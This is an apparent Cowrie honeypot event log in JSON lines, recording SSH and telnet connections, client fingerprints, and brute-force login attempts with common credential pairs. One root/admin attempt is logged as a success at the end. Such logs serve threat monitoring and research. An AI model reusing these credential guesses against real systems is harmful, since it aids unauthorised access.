{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:37.795550Z","src_ip":"198.98.55.71","session":"0b0f44c439d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"159753","message":"login attempt [test/159753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:37.847604Z","src_ip":"198.98.55.71","session":"0b0f44c439d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:38.858318Z","src_ip":"198.98.55.71","session":"0b0f44c439d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.83235430717468,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:42:39.265588Z","src_ip":"45.58.127.90","session":"7480811e3e3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":49634,"dst_ip":"159.203.135.109","dst_port":22,"session":"54a90062d629","protocol":"ssh","message":"New connection: 87.106.29.151:49634 (159.203.135.109:22) [session: 54a90062d629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:43:21.824116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:43:21.828771Z","src_ip":"87.106.29.151","session":"54a90062d629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:43:21.923374Z","src_ip":"87.106.29.151","session":"54a90062d629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dell@123","message":"login attempt [root/Dell@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:43:22.325850Z","src_ip":"87.106.29.151","session":"54a90062d629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:43:23.421681Z","src_ip":"87.106.29.151","session":"54a90062d629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":39142,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0d70086ca8a","protocol":"ssh","message":"New connection: 198.98.55.71:39142 (159.203.135.109:22) [session: d0d70086ca8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:43:30.512850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:43:30.517387Z","src_ip":"198.98.55.71","session":"d0d70086ca8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:43:30.522654Z","src_ip":"198.98.55.71","session":"d0d70086ca8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat@2024","message":"login attempt [root/redhat@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:43:30.577418Z","src_ip":"198.98.55.71","session":"d0d70086ca8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:43:31.587193Z","src_ip":"198.98.55.71","session":"d0d70086ca8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":46008,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d03990428a1","protocol":"ssh","message":"New connection: 87.106.29.151:46008 (159.203.135.109:22) [session: 4d03990428a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:44:15.535991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:44:15.541724Z","src_ip":"87.106.29.151","session":"4d03990428a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:44:15.634897Z","src_ip":"87.106.29.151","session":"4d03990428a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987654","message":"login attempt [root/987654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:44:16.062088Z","src_ip":"87.106.29.151","session":"4d03990428a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:44:17.157928Z","src_ip":"87.106.29.151","session":"4d03990428a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":54636,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a9201aa2bfb","protocol":"ssh","message":"New connection: 198.98.55.71:54636 (159.203.135.109:22) [session: 9a9201aa2bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:44:21.612093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:44:21.622969Z","src_ip":"198.98.55.71","session":"9a9201aa2bfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:44:21.631931Z","src_ip":"198.98.55.71","session":"9a9201aa2bfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing123","message":"login attempt [testing/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:44:21.683833Z","src_ip":"198.98.55.71","session":"9a9201aa2bfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:44:22.695911Z","src_ip":"198.98.55.71","session":"9a9201aa2bfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59426,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ff6354f204e","protocol":"telnet","message":"New connection: 45.58.127.90:59426 (10.17.0.5:23) [session: 5ff6354f204e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:44:22.702737Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59434,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e57cf7a82a4","protocol":"telnet","message":"New connection: 45.58.127.90:59434 (10.17.0.5:23) [session: 9e57cf7a82a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:44:23.805522Z"}
{"eventid":"cowrie.session.closed","duration":41.552226066589355,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:04.254856Z","src_ip":"45.58.127.90","session":"5ff6354f204e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":54622,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f9fdd6ec0dd","protocol":"ssh","message":"New connection: 87.106.29.151:54622 (159.203.135.109:22) [session: 9f9fdd6ec0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:08.715766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:08.721325Z","src_ip":"87.106.29.151","session":"9f9fdd6ec0dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:08.816093Z","src_ip":"87.106.29.151","session":"9f9fdd6ec0dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"changeme","message":"login attempt [alex/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:09.219113Z","src_ip":"87.106.29.151","session":"9f9fdd6ec0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:10.316392Z","src_ip":"87.106.29.151","session":"9f9fdd6ec0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.59491014480591,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:11.400323Z","src_ip":"45.58.127.90","session":"9e57cf7a82a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":38910,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7470ff3c2e0","protocol":"ssh","message":"New connection: 198.98.55.71:38910 (159.203.135.109:22) [session: e7470ff3c2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:14.458143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:14.462875Z","src_ip":"198.98.55.71","session":"e7470ff3c2e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:14.468706Z","src_ip":"198.98.55.71","session":"e7470ff3c2e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6yhnbgt5","message":"login attempt [root/6yhnbgt5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:14.526610Z","src_ip":"198.98.55.71","session":"e7470ff3c2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:15.536954Z","src_ip":"198.98.55.71","session":"e7470ff3c2e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":25098,"dst_ip":"10.17.0.5","dst_port":22,"session":"31bd8bd70804","protocol":"ssh","message":"New connection: 185.71.233.73:25098 (10.17.0.5:22) [session: 31bd8bd70804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:22.675662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:22.680147Z","src_ip":"185.71.233.73","session":"31bd8bd70804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:22.905790Z","src_ip":"185.71.233.73","session":"31bd8bd70804","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:23.610468Z","src_ip":"185.71.233.73","session":"31bd8bd70804","protocol":"ssh"}
